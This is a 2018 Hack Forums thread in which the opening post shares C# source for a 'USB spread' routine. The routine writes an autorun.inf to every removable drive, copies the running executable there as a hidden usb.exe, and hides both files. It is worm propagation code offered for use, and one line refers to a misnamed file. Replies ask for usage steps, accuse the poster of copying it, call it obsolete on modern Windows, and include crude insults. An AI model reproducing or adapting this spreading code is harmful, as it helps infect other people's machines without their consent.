Hack Forums
[C#] USB Spread Source - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] USB Spread Source (/showthread.php?tid=5809960)



USB Spread Source - DeletedUser999213 - Mar 10, 2018

Code
public static void USBSpread()
        {
            DriveInfo[] drives = DriveInfo.GetDrives();
            foreach (DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                    StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                    writer.WriteLine("[autorun] \n ");
                    writer.WriteLine("open = usb.exe");
                    writer.WriteLine("action = Run win32");
                    writer.Close();
                    string Location = System.Reflection.Assembly.GetEntryAssembly().ToString();
                    File.SetAttributes(drive.Name + "the autorun.inf", File.GetAttributes(drive.Name + "the autorun.inf") | FileAttributes.Hidden);
                    File.Copy(Location, drive.Name + "usb.exe", true);
                    File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden);
                }
            }
        }



RE: USB Spread Source - Playful - Mar 14, 2018

how to use? Can u post a detailed use procedure?


RE: USB Spread Source - Exodus - Mar 14, 2018

(Mar 14, 2018 03:52 AM)Playful Wrote:  how to use? Can u post a detailed use procedure?

http://lmgtfy.com/?q=how+to+program+C%23


RE: USB Spread Source - SlowMehMo - Mar 25, 2018

(Mar 14, 2018 07:26 AM)ManlyPotato Wrote:  http://lmgtfy.com/?q=how+to+program+C%23

LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack


RE: USB Spread Source - Ninja - Mar 26, 2018

(Mar 25, 2018 08:24 PM)SlowMehMo Wrote:  LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack

What is this "overstack" you speak of?


RE: USB Spread Source - EliteKane - Mar 26, 2018

(Mar 25, 2018 08:24 PM)SlowMehMo Wrote:  LMAO yeah dont just paste something if you dont have a general idea how it works. if you do that then just uninstall all ide's right now
maybe even delete you account out of shame.

check out sololearn and ask on overstack

Sololearn is pretty good, thx for sharing that


RE: USB Spread Source - gungunfebrianza - May 6, 2018

how to detect there is USB drive plugged in??


RE: USB Spread Source - He B TeMy - May 6, 2018

(May 6, 2018 09:52 AM)gungunfebrianza Wrote:  how to detect there is USB drive plugged in??

https://stackoverflow.com/a/6003851


RE: USB Spread Source - Vuln - May 7, 2018

With some luck this could infect a couple of Windows ME systems.


RE: USB Spread Source - Vyxn - May 8, 2018

I don't think this will work with the modern version. I've seen this technique to all binary I've analyze.
You sure, the code was yours?


RE: USB Spread Source - Tommy Chong- - May 9, 2018

For real bro? You don't even take the slightest bit of effort to change up the code so no one would find it by googling just 1 line of the code.
This is 5 year old code on github and widely reposted all over the internet in every corner possible.

https://gist.github.com/veyselsahin/7356869
http://cnettricks.blogspot.nl/

If you claim any code as yours and it end up being found on a blogspot blog.... dude you should refrain from using the internet entirely.

OP, you're a cunt. A special type of cunt


RE: USB Spread Source - Dalvik - May 9, 2018

(May 9, 2018 08:01 AM)Tommy Chong- Wrote:  For real bro? You don't even take the slightest bit of effort to change up the code so no one would find it by googling just 1 line of the code.
This is 5 year old code on github and widely reposted all over the internet in every corner possible.

https://gist.github.com/veyselsahin/7356869
http://cnettricks.blogspot.nl/

If you claim any code as yours and it end up being found on a blogspot blog.... dude you should refrain from using the internet entirely.

OP, you're a cunt. A special type of cunt

Besides, the code is pretty shitty anyway.


RE: USB Spread Source - jcbullet - May 13, 2018

lmao this wont even work on the majority of machines.There are much dated ways to usb spread.